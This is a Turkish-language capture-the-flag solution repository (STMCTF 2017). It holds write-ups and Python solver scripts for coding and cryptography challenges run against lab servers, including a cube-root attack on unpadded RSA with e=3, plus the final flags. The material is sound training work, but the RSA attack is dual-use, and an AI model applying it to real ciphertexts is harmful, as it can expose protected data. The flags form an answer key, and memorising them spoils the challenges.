├── CODING
├── 6ustuKarakter
│ └── README.md
├── README.md
├── RENGARENK
│ ├── README.md
│ ├── code.png
│ └── ren1.png
├── calculator
│ └── README.md
└── encodingLoop
│ ├── 56eafb661da1f97918aa73d9e9461389.zip
│ ├── README.md
│ ├── encodingLoop0.png
│ ├── encodingLoop1.png
│ ├── encodingLoop2.png
│ ├── encodingLoop3.png
│ ├── encodingLoop4.png
│ └── encodingLoop5.png
├── CRYPTO
├── ATBASIgidiyorlardi
│ ├── README.md
│ ├── atbash1.png
│ └── atbash2.png
├── Balkupu
│ ├── README.md
│ ├── balkupu1.png
│ ├── cuberoot.py
│ └── f0fc1bc65d283fc5c065a364de26ebaa.zip
├── DestekIstiyorumSizden
│ ├── README.md
│ ├── c460e1ea3455bbf5b4253a8a7d5f55a5.zip
│ ├── destek1.png
│ ├── destek2.png
│ ├── destek3.png
│ └── destek4.png
├── Dinazor
│ └── README.md
├── DiskYuvarlakKodKare
│ ├── README.md
│ ├── d02f7fa78908987a9460a4decbb1a927.png
│ ├── disk1.png
│ ├── disk2.png
│ ├── disk3.png
│ └── f93f75f8cae4a51cdd9b491a7c11c69d.zip
├── LFSR64
│ ├── 1368bcdb1fd305416757edbe85a35843.zip
│ ├── README.md
│ └── lsfr1.png
├── README.md
└── SAtheDarknight
│ ├── 439eec60a5ce2520a4078dac350c6e4b.zip
│ ├── README.md
│ ├── dk1.png
│ ├── dk2.png
│ ├── dk3.png
│ ├── dk4.png
│ └── flag.zip
├── FOR
├── DerinArastirma
│ ├── README.md
│ ├── der1.png
│ ├── der2.png
│ ├── der3.png
│ ├── der4.png
│ └── der5.png
├── FarkiBul
│ ├── README.md
│ ├── c214364ee8d366a4170337c5216f498c.zip
│ ├── fark1.png
│ ├── fark2.png
│ └── fark3.png
├── KarakoyMuhallebicisi
│ ├── 41795a29a6d369da13d9bbc086008ca1.zip
│ ├── README.md
│ ├── kar1.png
│ ├── kar2.png
│ └── kar3.png
├── Kostebek
│ ├── README.md
│ ├── kostebek1.png
│ ├── kostebek2.png
│ └── kostebek3.png
└── README.md
├── MISC
├── AdresiBul
│ ├── README.md
│ ├── adr1.png
│ ├── adr2.png
│ ├── adr3.png
│ └── adr4.png
├── DijitalDunyadanCik
│ └── README.md
├── IcimYandi
│ ├── README.md
│ ├── b6d4575a18de06e94ae0b06c0b4115b7.jpg
│ ├── ic1.png
│ ├── ic2.png
│ ├── ic3.png
│ └── ic4.png
├── KarisikKaset
│ ├── README.md
│ ├── karisikkaset1.png
│ └── karisikkaset2.png
├── NURELLA
│ ├── 67b99362ffe51662399a5c2bad15e284.jpg
│ ├── README.md
│ ├── nur1.png
│ ├── nur2.png
│ └── nur3.png
├── OokYasa
│ ├── 09f16d5a13fcbeeedf6d6f3e5b8824bc.zip
│ ├── README.md
│ └── ook1.png
├── README.md
├── SatirSutun
│ ├── 18f93631294fd8aebd1b57484e511bf6.zip
│ ├── README.md
│ └── satirsutun.png
└── ZafiyetiBul
│ ├── README.md
│ ├── zaf1.png
│ ├── zaf2.png
│ └── zaf3.png
├── MOB
├── Matrix
│ ├── README.md
│ ├── flag.zip
│ ├── mat1.png
│ ├── mat2.png
│ └── mat3.png
├── PREMIUM-NUMBER
│ ├── 6c7235643de4bebd2a10820a3b7853f6.zip
│ ├── README.md
│ ├── flag.zip
│ ├── prem1.png
│ ├── prem10.png
│ ├── prem11.png
│ ├── prem2.png
│ ├── prem3.png
│ ├── prem4.png
│ ├── prem5.png
│ ├── prem6.png
│ ├── prem7.png
│ ├── prem8.png
│ └── prem9.png
├── README.md
├── Ransomware
│ ├── 4113c0e5a8ed4bc8e81f8dbcf8beeef5.zip
│ ├── README.md
│ ├── flag.zip
│ ├── ran1.png
│ └── ran2.png
├── TombulKus
│ ├── 6b6251894b1f2922d9860b9c4e99e7d5.zip
│ ├── README.md
│ ├── tombul1.png
│ ├── tombul2.png
│ └── tombul3.png
└── freewifi
│ ├── README.md
│ ├── freewifi0.tiff
│ └── freewifi1.tiff
├── PWN
├── NOPME
│ ├── NOPME
│ ├── NOPME_patched
│ ├── README.md
│ ├── nop1.png
│ ├── nop2.png
│ ├── nop3.png
│ ├── nop4.png
│ └── sleeps.txt
├── PWINGME
│ ├── README.md
│ ├── p1.png
│ ├── p2.png
│ ├── p3.png
│ ├── p4.png
│ └── pwingme
├── README.md
└── Retro
│ ├── README.md
│ ├── r1.png
│ ├── r2.png
│ ├── r3.png
│ └── retro
├── README.md
├── REVERSE
├── BeniCalistirma
│ ├── README.md
│ ├── ac78fc90b6fb7e17ec2d35e09e7b008d.zip
│ ├── beniCalistirma_0.png
│ └── beniCalistirma_1.png
├── FacelessFlag
│ ├── 32ada5b75430c524df16bf3b1428e65e.zip
│ ├── README.md
│ ├── fa1.png
│ ├── fa10.png
│ ├── fa2.png
│ ├── fa3.png
│ ├── fa4.png
│ ├── fa5.png
│ ├── fa6.png
│ ├── fa7.png
│ ├── fa8.png
│ └── fa9.png
├── README.md
├── Sss
│ ├── 7605274185f215e181254aeab3837cb4.zip
│ ├── README.md
│ ├── sss1.png
│ └── sss2.png
├── cProjem
│ ├── 82b5f85851c228a1882ea18d22f2eb66.zip
│ ├── README.md
│ └── cProjem.png
└── crackMe
│ ├── README.md
│ ├── b756d6413e4bbcd7ba46f210e345cad2.zip
│ ├── crackMe0.png
│ ├── crackMe1.png
│ ├── crackMe2.png
│ ├── crackMe3.png
│ └── crackMe4.png
├── WEB
├── HackOpssVol5465
│ ├── README.md
│ ├── koa1.png
│ ├── koa10.png
│ ├── koa11.png
│ ├── koa12.png
│ ├── koa13.png
│ ├── koa14.png
│ ├── koa15.png
│ ├── koa16.png
│ ├── koa17.png
│ ├── koa2.png
│ ├── koa3.png
│ ├── koa4.png
│ ├── koa5.png
│ ├── koa6.png
│ ├── koa7.png
│ ├── koa8.png
│ └── koa9.png
├── Postaci
│ ├── README.md
│ ├── po0.png
│ ├── po1.png
│ ├── po10.png
│ ├── po11.png
│ ├── po12.png
│ ├── po2.png
│ ├── po3.png
│ ├── po4.png
│ ├── po5.png
│ ├── po6.png
│ ├── po7.png
│ ├── po8.png
│ └── po9.png
├── README.md
├── TatilFirsati
│ ├── README.md
│ ├── tatil0.png
│ ├── tatil1.png
│ └── tatilsoru.png
└── odie
│ ├── 6b51d5a125cf6c0eca3d1df3545b7d25.zip
│ ├── README.md
│ ├── odie0.jpeg
│ └── odie2.png
└── stmctf17.png
/CODING/6ustuKarakter/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: 6 Ustu Karakter
3 |
4 | ## Soru Metni:
5 |
6 | Bana en az 6 karakterli oyle bir x degeri ver ki ben de sana FLAG'i vereyim.
7 |
8 | nc 192.168.$MASANO.5 3333
9 |
10 | ## Çözüm:
11 |
12 | Sunucuda belirlenen portta çalışan servis yarışmacıya random ürettiği 6 karakterli bir sayının sha1(md5(x)) değerinin ilk 6 karakterini vermektedir.
13 | Yarışmacıdan 6 karakterli bu sayıyı 5 saniye içerisinde hesaplayıp sunucuya göndermesi beklenmektedir.
14 |
15 | Yarışmacı 5 saniyeden az bir surede sorulan soruyu cevaplayacak bir script hazırlamalıdır. Aşağıdaki python scripti sorulan soruyu cevaplayarak flagi alabilecektir:
16 |
17 | ```python
18 | #!/usr/bin/python
19 |
20 | import hashlib
21 | from pwn import *
22 | import sys
23 |
24 | host = "X.X.X.X"
25 | port = 3333
26 |
27 | conn = remote(host,port)
28 | data = conn.recvuntil("\n")
29 |
30 | #6 karakterli sayi
31 | candidate = 100000
32 |
33 | #sunucudaki soruyu parse ederek sha1(md5(x)) değerini aliyor.
34 | target=(data.split(" ")[16])
35 | print "question: "+data
36 | print "sha1(md5(x)): "+target
37 |
38 | #6 karakterli butun sayilari deneyerek hepsinin sha1(md5(sayi)) degerini hesapliyor.
39 | while candidate<1000000:
40 | md5hash_object = hashlib.md5(str(candidate))
41 | md5 = md5hash_object.hexdigest()
42 |
43 | sha1hash_object = hashlib.sha1(md5)
44 | sha1 = sha1hash_object.hexdigest()[:6]
45 |
46 | #deger sorulan sorudaki degere esitse sunucuya göndererek sunucudan donen cevabi aliyor.
47 | if (sha1 == target):
48 | print "x: "+str(candidate)
49 | conn.send(str(candidate)+"\n")
50 | print "flag = "+conn.recvline()
51 | break
52 | candidate = candidate + 1
53 |
54 | conn.close()
55 | ```
56 |
57 |
--------------------------------------------------------------------------------
/CODING/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/CODING/RENGARENK/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: RENGARENK
3 |
4 | ## Soru Metni:
5 |
6 | Bana sayıyı 5 saniye içinde söyle FLAG'i kap!
7 |
8 | nc 192.168.$MASANO.5 6666
9 |
10 | ## Çözüm:
11 |
12 | Sunucuda belirlenen portta çalışan servis yarışmacıya base64 değer dönmektedir.
13 | Yarışmacıdan beklenen sunucuya belli bir süre içinde istenen sayıyı doğru olarak yollaması.
14 |
15 | 
16 |
17 | 1. Yarışmacı base64 değerini decode ettiği zaman 20 karakterli bir sayı olan PNG dosyası elde etmektedir.
18 |
19 | 2. Her rakamın yer aldığı kutu farklı renktedir. Aşağıdaki gibi color code vardır:
20 | color = {"1":"red", "2":"blue", "3":"white", "4":"yellow", "5":"green", "6":"pink", "7":"orange", "8":"purple", "9":"magenta", "0":"gray"}
21 |
22 | 
23 |
24 |
25 | 3. Resim boyutu 400x30 şeklindedir. Her rakamın kutusu 20x30 luktur.
26 |
27 | 4. Yarışmacıdan beklenen color code u keşfedip her kutunun ilk pixelindeki yani, [0,0],[20,0],[40,0]....[380,0] pixellerindeki RGB değeriyle rakamı eşleştirip sunucuya yollayacak bir kod yazmasıdır.
28 |
29 | 5. Aşağıdaki python scripti sorulan soruyu cevaplayarak flag i alabilecektir:
30 |
31 | ```python
32 | #!/usr/bin/python
33 |
34 | from random import *
35 | from pwn import *
36 | from PIL import Image, ImageFont, ImageDraw, ImageEnhance
37 | import socket
38 |
39 | host = "X.X.X.X"
40 | port = 6666
41 |
42 | conn = remote(host,port)
43 | # sunucudaki base64 degeri al.
44 | data=conn.recvuntil("\n")
45 |
46 | # sorulan soruyu base64 decode ederek png dosyasina yazarak resmi olustur.
47 | fo = open("question.png", "wb")
48 | fo.write(data.decode('base64'))
49 | fo.close()
50 |
51 | # sayinin oldugu png dosyasini ac.
52 | im= Image.open("question.png")
53 | pix = im.load()
54 | size = im.size
55 |
56 | # sayilarla RGB degerlerini eslestir.
57 | number=""
58 | colorcode = {\
59 | (128, 128, 128):"0",\
60 | (255, 0, 0):"1",\
61 | (0, 0, 255):"2",\
62 | (255, 255, 255):"3",\
63 | (255, 255, 0):"4",\
64 | (0, 128, 0):"5",\
65 | (255, 192, 203):"6",\
66 | (255, 165, 0):"7",\
67 | (128, 0, 128):"8",\
68 | (255, 0, 255):"9"}
69 |
70 | x=0
71 | number=""
72 |
73 | # her kutu icin ilk pixelin (sol ust kose) RGB degerini oku. [0,0], [20,0],[40,0]....[380,0] lardaki RGB degerleri. ve bu degerleri rakamlarla eslestir.
74 | while x<20:
75 | rgb=pix[20*x,0]
76 | number += colorcode[rgb]
77 | x += 1
78 |
79 | print "number: "+number
80 |
81 | # hesaplanan sayiyi sunucuya gonderek sunucudan donen flag i al.
82 | conn.send(number+"\n")
83 | print conn.recvline()+"\n"
84 | print "flag = "+conn.recvline()
85 |
86 | conn.close()
87 | ```
88 |
89 |
90 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/CODING/RENGARENK/code.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/RENGARENK/code.png
--------------------------------------------------------------------------------
/CODING/RENGARENK/ren1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/RENGARENK/ren1.png
--------------------------------------------------------------------------------
/CODING/calculator/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: calculator
3 |
4 | ## Soru Metni:
5 |
6 | http://192.168.$MASANO.5:4444/calculator.php sayfasında matematiğimizi ölçüyorlarmış. Sana güveniyorum, bence sen bütün soruları doğru cevaplarsın.
7 |
8 | ## Çözüm:
9 |
10 |
11 | ```python
12 |
13 | #!/usr/bin/python
14 |
15 | import requests
16 | import time
17 | import base58
18 | import binascii
19 |
20 | headers = {'User-Agent': 'Mozilla/5.0'}
21 | URL='http://X.X.X.X/calculator.php'
22 | session = requests.Session()
23 | postdata=""
24 | flag=""
25 |
26 | #ilk requesti yaparak Soru 0 i aliyor.
27 | def sendgetreq(session,URL):
28 | getreq = session.get(url = URL)
29 | getdataresp= getreq.text
30 | return getdataresp
31 |
32 | # sayfadaki degerleri parse ederek sayilari ve operand i aliyor. Ona gore islemi yapiyor.
33 | def calculate(data):
34 | number1=data.split("
")[4].split(" ")[0]
35 | number2=data.split("
")[4].split(" ")[2]
36 | operand=data.split("
")[4].split(" ")[1]
37 | print data.split("
")[2][3:]+" "+data.split("
")[4]
38 | if operand=="+":
39 | result=int(number1)+int(number2)
40 | if operand=="-":
41 | result=int(number1)-int(number2)
42 | if operand=="*":
43 | result=int(number1)*int(number2)
44 |
45 | print "result: "+str(result)
46 | return result
47 |
48 |
49 | # calculate fonskiyonunu kullanarak sorunun cevabini hesapliyor ve POST requesti yaparak sunucuya yolluyor ve sunucudan gelen response u aliyor.
50 | def req(question):
51 | payload= {'input':str(calculate(question)),'submit':'Submit+Query'}
52 | postreq=session.post(url=URL,headers=headers,data=payload)
53 | postdataresptext=postreq.text
54 | postdatarespheaders=postreq.headers
55 | postdataresp=[postdataresptext,postdatarespheaders]
56 | return postdataresp
57 |
58 | # session expire olmadigi surece bu fonskiyon req fonksiyonunu kullanarak sorunun cevabini gonderiyor ve donen responsetaki headerdaki FLAG degerini aliyor.
59 | def sendresult(postdata):
60 | postdataresponse=req(postdata)
61 | postdata=postdataresponse[0]
62 | headers=postdataresponse[1]
63 | print "Cevap "+postdata.split("
")[0]+"\n"
64 | if ("Dogru" in postdata.split("
")[0]):
65 | if (headers.get("FLAG")!=None):
66 | flag=(headers.get("FLAG")).split("_")[1]
67 | else: flag=""
68 | else:
69 | print "start again!\n"
70 | print "----------\n"
71 | flag=""
72 | return postdata,flag
73 |
74 |
75 | while "bu son" not in flag:
76 | #verilen her dogru cevap icin sendresult fonksiyonunu kullanarak header daki flag i aliyor.
77 | if ("Dogru" in postdata):
78 | response=sendresult(postdata)
79 | postdata=response[0]
80 | flag=flag+response[1]
81 | else:
82 | #web sayfasinda "Dogru" bulunmadigi zaman (session expire olduysa ya da yanlis cevap verildiyse) sendgetreq fonksiyonuna gidiyor ve ilk istegi yaparak Soru 0 i alıyor.
83 | postdata=sendgetreq(session,URL)
84 | response=sendresult(postdata)
85 | postdata=response[0]
86 | flag=flag+response[1]
87 |
88 | # flag i base58 decode ediyor.
89 | print "flag: "+flag
90 | flag_hex = base58.b58decode(flag[:-12])
91 | print flag_hex
92 |
93 | # hex degeri binary ye cevirerek dosyaya yaziyor ve png dosyasi olusuyor.
94 | fout=open('test', 'wb')
95 | fout.write(binascii.unhexlify(flag_hex))
96 | fout.close()
97 |
98 | ```
99 |
--------------------------------------------------------------------------------
/CODING/encodingLoop/56eafb661da1f97918aa73d9e9461389.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/56eafb661da1f97918aa73d9e9461389.zip
--------------------------------------------------------------------------------
/CODING/encodingLoop/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: encodingLoop
2 |
3 | ## Soru Metni:
4 | Biraz karıştırdık. Encode ettik, evirdik, çevirdik, rot'ladık, biraz da ipucu iliştirdik ve sana çözmen için bıraktık.
5 |
6 | ## Çözüm:
7 | 1. 56eafb661da1f97918aa73d9e9461389.zip dosyasi icerisinden yaklasik 20 MB buyuklugunda flag.txt dosyasi cikiyor. Dosyanin icerigi incelendiginde BASE64 ile encode edildigi anlasiliyor.
8 | 
9 |
10 | 2. flag.txt dosyasi base64 ile decode edildiginde base32 ifadesini takiben yeni bir encode edilmis text metin gozukuyor.
11 | 
12 |
13 | 3. Her decode sonrasinda bir sonraki encode isleminin ne olacagi dosyanin basinda belirtiliyor.
14 | 
15 |
16 | 4. base64, base32, rot_13, bz2_codec, zlib_codec ve xor islemlerinin oldugu ve rastgele tekrar ettigi anlasiliyor. xor formatinda digerlerinden farkli olarak hangi karakter ile xor edildigi de belirtiliyor. xor_y ifadesi y ile xor edildigini gosteriyor.
17 |
18 | 5. Toplanan bu bilgiler ile decode python kodunu su sekilde olur.
19 | 
20 |
21 | 6. Python kodunu calistirdigimizda 227 decode isleminden sonra flag karsimiza cikiyor.
22 | 
23 | 
24 |
25 | FLAG: STMCTF{3ll3_0lacak_Gibi_Degildi!}
26 |
--------------------------------------------------------------------------------
/CODING/encodingLoop/encodingLoop0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop0.png
--------------------------------------------------------------------------------
/CODING/encodingLoop/encodingLoop1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop1.png
--------------------------------------------------------------------------------
/CODING/encodingLoop/encodingLoop2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop2.png
--------------------------------------------------------------------------------
/CODING/encodingLoop/encodingLoop3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop3.png
--------------------------------------------------------------------------------
/CODING/encodingLoop/encodingLoop4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop4.png
--------------------------------------------------------------------------------
/CODING/encodingLoop/encodingLoop5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop5.png
--------------------------------------------------------------------------------
/CRYPTO/ATBASIgidiyorlardi/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: ATBAŞI gidiyorlardı...
3 |
4 | ## Soru Metni:
5 | Xlp lmvnor lowftfmf wfhfmwftfnfa yri plmfhnzbr gvohraov pzbwvggrp znz rhrm rxrmwvm xrpznrblifa. Fx ilgliof yri nzprmvwvm yzshvwrbliozi. Rop ilgli klarhblmoziı hrizhrboz W Z ev X. Yriyrirmv yztor sziuovi wv ZY ev IF. Bzpzozwrtrnra nvhzq rhv SYXDFQ{GTSAACELFTEKNEBILMJCS}
6 |
7 |
8 | ## Çözüm:
9 | 1.ATBASH kripto sistemi M.Ö 1000 civarlarında kullanılan tarihteki ilk kripto sistemlerinden birisidir. A-Z, B-Y, C-X olacak şekilde devam eder ve aynalama sistemi olarak da bilinir. ENIGMA ise bilindiği gibi 2. Dünya savaşında Alman ordusu tarafından kullanılmış ve kırılması ile savaşın seyri değişmiştir.
10 |
11 | 2.Başlıktan ATBASH şifrelemesi kullanıldığı anlaşılmakta, yarışmanın ilerleyen bölümlerinde de ipucu olarak verilmişti. http://www.dcode.fr/atbash-mirror-cipher sitesinden çözüldüğünde ise şöyle bir metin çıkmakta.
12 |
13 | 
14 |
15 | Cok onemli oldugunu dusundugumuz bir konusmayi telsizle kaydettik ama isin icinden cikamiyoruz. Uc rotorlu bir makineden bahsediyorlar. Ilk rotor pozisyonları sirasiyla D A ve C. Birbirine bagli harfler de AB ve RU. Yakaladigimiz mesaj ise HBCWUJ{TGHZZXVOUGVPMVYRONQXH}.
16 |
17 | 3.Verilen rotor vb. kelimelerden şifreleme makinesinin ENIGMA olduğu anlaşılmakta.
18 | http://enigmaco.de/enigma/enigma.html ya da http://enigma.louisedade.co.uk/enigma.html siteleri kullanılarak verilen parametreler girildiğinde HBCWUJ{TGHZZXVOUGVPMVYRONQXH}.
19 | metninin çözümü STMCTF{ENIGMAYIDAKIRDINBRAVO} çıkmakta.
20 |
21 | 
22 |
23 | 4.Dolayısıyla doğru cevap MD5(STMCTF{ENIGMAYIDAKIRDINBRAVO}) = A59F8B06DD35EAB52C8A90998AD4C7D7
24 |
25 |
--------------------------------------------------------------------------------
/CRYPTO/ATBASIgidiyorlardi/atbash1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/ATBASIgidiyorlardi/atbash1.png
--------------------------------------------------------------------------------
/CRYPTO/ATBASIgidiyorlardi/atbash2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/ATBASIgidiyorlardi/atbash2.png
--------------------------------------------------------------------------------
/CRYPTO/Balkupu/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Balküpü
4 |
5 | ## Soru Metni:
6 | 8192 bitlik öyle bir modulus kullanmışlar ki kırmaya değil bakmaya bile cesaret edemiyoruz. Bir şekilde kırılmalı bu metin, vazgeçmek yok!
7 | f0fc1bc65d283fc5c065a364de26ebaa.zip
8 |
9 | ## Çözüm:
10 | 1.Standart dışı RSA gerçeklemelerinde (bu soruyu oluşturmak için kullanılan kullanılan Python Crypto modülü dahil) mesaj bloğuna dolgulama (padding) yapılmayıp küçük bir exponent (e=3 gibi) kullanıldığında şifreli metnin uzunluğunun modulusun (8192 bit) uzunluğunu geçmeme ihtimali vardır. Soru metnine bakıldığında şifreli mesajın (c) boyunun modulustan (n) çok daha küçük olduğu görülmekte.
11 |
12 | 2.Bu durumda çok basit bir şekilde şifreli metnin küp kökü alındığında açık mesaja ulaşılabilir!
13 |
14 | 3.Gerek sorunun başlığında gerekse yarışma boyunca verilen ipuçlarıyla (I: Mesaj boyu oldukça küçük ve dolgulama (padding) yapılmamış. II: Küp kök mü alsak? ) bu durum anlatıldı ancak ne yazık ki çözüme ulaşan olmadı.
15 |
16 | 4.Aşağıdaki python kodundan faydalanabiliriz.
17 |
18 | https://github.com/stmctf/stmctf17/blob/master/CRYPTO/Balkupu/cuberoot.py
19 |
20 |
21 | 
22 |
23 | 5.Metni_oyle_bir_yazdik_ki_kupunu_alsak_da_modulusun_boyunu_gecmiyor. Yani_STMCTF{Padding_yoksa_RSA_8192_bile_kirilabiliyor}
24 |
25 | Dolayısıyla MD5 özet değerimiz = MD5(STMCTF{Padding_yoksa_RSA_8192_bile_kirilabiliyor} ) = 4A66DA3D0266044A3004C2E8816A14C1
26 |
27 |
28 |
--------------------------------------------------------------------------------
/CRYPTO/Balkupu/balkupu1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/Balkupu/balkupu1.png
--------------------------------------------------------------------------------
/CRYPTO/Balkupu/cuberoot.py:
--------------------------------------------------------------------------------
1 | import gmpy
2 | import binascii
3 | e = 3
4 | c = 429089850888977086742785875970199042972006378606119946473791345158392144812660673807739169166212002736587394461703819376757439191995909430214519844595988118540627881539214418472376642445455166281260157943271573373000810631673674083079333860024164423217845932929455851279109843488685345694862289635603516734449264426229385862884405779162633571387701087430438450957749864949640441922866389030111889399213323075199531857011382522884723021509373151126415042674857958592678535597405735224750318016829194012504134872263287973272911560065151881222858279375079940691955035900010225960430242618122024022129424202249670204830948393077996083731365096762666555880098270752684487067710174229424221869622114311329608766358966003789666784440274620623834134923551465436303349939075429660840559941772120845882259041073162479049867040322441023188277432363755686564996290861042497293481726821
5 | m = gmpy.root(c,e)
6 | m = int(m[0].digits())
7 | print binascii.unhexlify(hex(m)[2:-1])
8 |
--------------------------------------------------------------------------------
/CRYPTO/Balkupu/f0fc1bc65d283fc5c065a364de26ebaa.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/Balkupu/f0fc1bc65d283fc5c065a364de26ebaa.zip
--------------------------------------------------------------------------------
/CRYPTO/DestekIstiyorumSizden/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Destek istiyorum Sizden
4 |
5 | ## Soru Metni:
6 | Elimde key var, script var bi de şifreli dosya var. Napçam ben bunları? Bi destek atıverin!
7 | c460e1ea3455bbf5b4253a8a7d5f55a5.zip
8 |
9 | ## Çözüm:
10 | 1. decrypt.py içerisindecipherolarakDESkullanıldığınıgörüyoruz.
11 | 
12 |
13 | 2. keys.txt dosyasında uygun uzunlukta bir tane key bulunuyor.
14 |
15 | 
16 |
17 | 3. decryptme dosyasının içinde byte’ların 1 ve 0’lardan oluşan string representation’ı görünüyor. Ufak bir script yardımıyla tekrar byte’a çevirip dosyaya yazıyoruz. Örnek kod:
18 | 
19 |
20 | 4. decrypt.py içinde gerekli değişiklikleri yapıp çalıştırdığımızda flag’i elde ediyoruz.
21 |
22 | 
23 |
--------------------------------------------------------------------------------
/CRYPTO/DestekIstiyorumSizden/c460e1ea3455bbf5b4253a8a7d5f55a5.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/c460e1ea3455bbf5b4253a8a7d5f55a5.zip
--------------------------------------------------------------------------------
/CRYPTO/DestekIstiyorumSizden/destek1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek1.png
--------------------------------------------------------------------------------
/CRYPTO/DestekIstiyorumSizden/destek2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek2.png
--------------------------------------------------------------------------------
/CRYPTO/DestekIstiyorumSizden/destek3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek3.png
--------------------------------------------------------------------------------
/CRYPTO/DestekIstiyorumSizden/destek4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek4.png
--------------------------------------------------------------------------------
/CRYPTO/Dinazor/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Dinazor
2 |
3 | ## Soru Metni:
4 |
5 | Öz geçmişini çok beğendik. Seninle birlikte çalışmak isteriz. Bu soruyu çöz, gel işe başla. Ama vaktin kısıtlı, zaman kaybetme.
6 | ```
7 | Flag : 7SSYSIK1_L8LLM_I}RBY8_TF6LM7J2Y_
8 | Key Table : ZLABE2 STMOU7 CRYPD9 1854HG {_}60K FIN3JV
9 | ```
10 |
11 | ## Çözüm:
12 |
13 | 1. 1854 yılında tanıtımı yapılan PlayFair Cipher kullanılmıştır. Soruda verilen KEY içerisinde yardımcı olması için bazı kelimeler var. Kelimeler başa gelecek şekilde KEY bölünmeye başlanınca 6x6 Key Table oluşmaya başlıyor. ZLAB, STM ve CRYP birer ipucu.
14 |
15 | 2. Flag'i 2'li gruplara boluyoruz.
16 | ```
17 | Flag : 7SSYSIK1_L8LLM_I}RBY8_TF6LM7J2Y_
18 | Flag Bolunmus : 7S SY SI K1 _L 8L LM _I }R BY 8_ TF 6L M7 J2 Y_
19 | ```
20 |
21 | 3. Key Table'i 6'li gruplara ayiriyoruz.
22 | ```
23 | ZLABE2
24 | STMOU7
25 | CRYPD9
26 | 1854HG
27 | {_}60K
28 | FIN3JV
29 | ```
30 |
31 | 4. Sonra klasik PlayFair Cipher çözümü ile flag çıkıyor.
32 | ```
33 | 7S SY SI K1 _L 8L LM _I }R BY 8_ TF 6L M7 J2 Y_
34 | ST MC TF {G IT _T AT IL _Y AP _I SI _B OS VE R}
35 | ```
36 | FLAG: STMCTF{GIT_TATIL_YAP_ISI_BOSVER}
37 |
38 | 6. http://bionsgadgets.appspot.com/gadget_forms/playfair6x6.html adresinden de cozum olusturulabiliyor.
39 |
40 |
--------------------------------------------------------------------------------
/CRYPTO/DiskYuvarlakKodKare/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Disk Yuvarlak - Kod Kare
4 |
5 | ## Soru Metni:
6 | 
7 |
8 | 
9 |
10 |
11 | ## Çözüm:
12 |
13 | 1.Karekod herhangi bir okuyucu ile okutulduğunda Alberti Leon Battista adına kayıtlı telefon no ve mail adresi çıkmaktadır. Alberti Leon Battista (Alberti Disk) adıyla bilinen şifreleme aygıtının mucididir.
14 |
15 | 
16 |
17 | 2.Telefon numarası olan 85836977657376 değeri ASCII karakterlerine oldukça benzemektedir ve http://www.asciitohex.com/ benzeri bir siteden ASCII’ye çevrildiğinde karakter karşılığının USEMAIL olduğu görülür.
18 | 3.Bu ipucu disk.rar dosyasının şifresinin kare koddan çıkan mail adresi olduğunu gösterir (battista1467@decifris.org).
